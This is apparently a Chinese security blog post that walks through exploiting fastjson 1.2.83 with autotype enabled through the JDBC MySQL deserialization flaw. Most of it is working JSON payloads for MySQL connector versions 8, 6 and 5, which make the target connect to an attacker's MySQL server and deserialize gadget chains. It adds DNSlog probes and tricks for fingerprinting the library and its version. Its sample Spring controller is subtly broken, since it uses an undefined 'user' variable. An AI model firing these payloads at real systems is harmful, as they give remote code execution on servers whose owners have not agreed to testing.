Fastjson1.2.83 + mysql利用(开启autotype)
fastjson在高版本默认是不开启autotype的,这样的话是默认走白名单的,但如果开启了autotype,会走黑名单,黑名单相较于白名单就好绕过多了,因为一直都会有不同组件漏洞被爆出,黑名单再大也会有疏漏,可以用一些黑名单疏漏的类进行攻击
在这利用了jdbc mysql反序列化漏洞(在之前文章写过jdbc反序列化漏洞和jdbc-Mysql反序列化不出网利用),jdbc漏洞需要一个jdbc的url可控点,fastjson在这里就作为漏洞利用的入口去变相控制了jdbc的url,无需jdbc的url可控功能点了
利用条件:
fastjson1.2.83
jdbc mysql依赖
Gadget
mysql8
出网payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| { "x1": { "@type": "java.lang.AutoCloseable", "@type": "com.mysql.cj.jdbc.ha.ReplicationMySQLConnection", "proxy": { "@type": "com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy", "connectionUrl": { "@type": "com.mysql.cj.conf.url.ReplicationConnectionUrl", "masters": [ { "host": "127.0.0.1", "port": 3306 } ], "slaves": [], "properties": { "user": "deser_CC31_calc", "queryInterceptors": "com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor", "autoDeserialize": "true", "dbname": "test", "useSSL": "false" } } } } }
|
不出网payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| { "x1": { "@type": "java.lang.AutoCloseable", "@type": "com.mysql.cj.jdbc.ha.ReplicationMySQLConnection", "proxy": { "@type": "com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy", "connectionUrl": { "@type": "com.mysql.cj.conf.url.ReplicationConnectionUrl", "masters": [ {} ], "slaves": [], "properties": { "host": "xxx", "user": "mysql", "queryInterceptors": "com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor", "autoDeserialize": "true", "socketFactory": "com.mysql.cj.protocol.NamedPipeSocketFactory", "path": "8.txt", "maxAllowedPacket": "74996390", "dbname": "test", "useSSL": "false" } } } } }
|
mysql6
payload
出网还是不出网只需要修改url参数即可
1 2 3 4 5 6 7 8 9
| { "@type":"java.lang.AutoCloseable", "@type":"com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection", "proxy": { "connectionString":{ "url":"jdbc:mysql://xxx/test?useSSL=false&autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=mysql&socketFactory=com.mysql.cj.core.io.NamedPipeSocketFactory&namedPipePath=calc_6.txt" } } }
|
如果像这样反序列化成具体类就无法利用
1
| Person person2 = JSON.parseObject(jdbc6,Person.class);
|
mysql5
出网payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| { "x1": { "@type": "java.lang.AutoCloseable", "@type": "com.mysql.jdbc.JDBC4Connection", "hostToConnectTo": "127.0.0.1", "portToConnectTo": 3306, "databaseToConnectTo": "test", "url": "", "info": { "autoDeserialize": "true", "statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor", "user": "deser_CC31_calc", "DBNAME": "test" } } }
|
不出网payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| { "x1": { "@type": "java.lang.AutoCloseable", "@type": "com.mysql.jdbc.JDBC4Connection", "hostToConnectTo": "127.0.0.1", "portToConnectTo": 3306, "info": { "useSSL": "false", "user": "mysql", "HOST": "xxx", "statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor", "autoDeserialize": "true", "NUM_HOSTS": "1", "socketFactory": "com.mysql.jdbc.NamedPipeSocketFactory", "namedPipePath": "calc_5.txt", "DBNAME": "test" }, "databaseToConnectTo": "test", "url": "" } }
|
fastjson黑盒测试trick
Dnslog
1 2 3 4 5 6 7 8 9
| {"zeo":{"@type":"java.net.Inet4Address","val":"dnslog"}} {"@type":"java.net.Inet4Address","val":"dnslog"} {"@type":"java.net.Inet6Address","val":"dnslog"} {"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}} {"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""} {{"@type":"java.net.URL","val":"dnslog"}:"aaa"} Set[{"@type":"java.net.URL","val":"dnslog"}] Set[{"@type":"java.net.URL","val":"dnslog"} {{"@type":"java.net.URL","val":"dnslog"}:0
|
探测是否是 Fastjson
假设正常传参如下:
1
| {"username": "admin", "password": "admin"}
|
单引号传参:(Fastjson 不报错,Jackson 报错)
1
| {"username": 'admin', "password": 'admin'}
|
注释符判断法:(Fastjson 报错,Jackson 不报错)
注释符判断法:(Fastjson 报错,Gson 不报错)
注释符判断法:(Fastjson 报错,Hutool.json 不报错)
多余成员判断法:(Fastjson 不报错,Jackson 报错)
1
| {"username": "admin", "password": "admin", "test": 1}
|
报错有回显探测版本
payload:
1
| {"@type":"java.lang.AutoCloseable"
|
报错无回显探测版本
搭建现代一般web接口逻辑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.*; import com.alibaba.fastjson.JSON; import java.util.HashMap; import java.util.Map; @Controller public class FastjsonController { @RequestMapping(value = "/fastjson", method = RequestMethod.POST) @ResponseBody public Map<String, Object> parseUser(@RequestBody String body) { Map<String, Object> result = new HashMap<>(); result.put("code", 200); result.put("message", "ok"); try { if (user != null && user.getUsername() != null) { result.put("username", user.getUsername()); } } catch (Exception e) { result.put("code", 500); result.put("message", "internal error"); } return result; } }
|
使用以下对应版本的payload,版本正确会返回200,否则会报500
1
| {"test":{"@type":"java.lang.Exception","@type":"org.XxException"}}
|
1
| {"test":{"@type":"java.lang.AutoCloseable","@type":"java.io.ByteArrayOutputStream"}}
|
1 2 3 4 5 6 7 8 9
| { "a": { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" }, "b": { "@type": "com.sun.rowset.JdbcRowSetImpl" } }
|
1
| {"test": {"@type": "com.sun.rowset.JdbcRowSetImpl"}}
|
以83版本为例

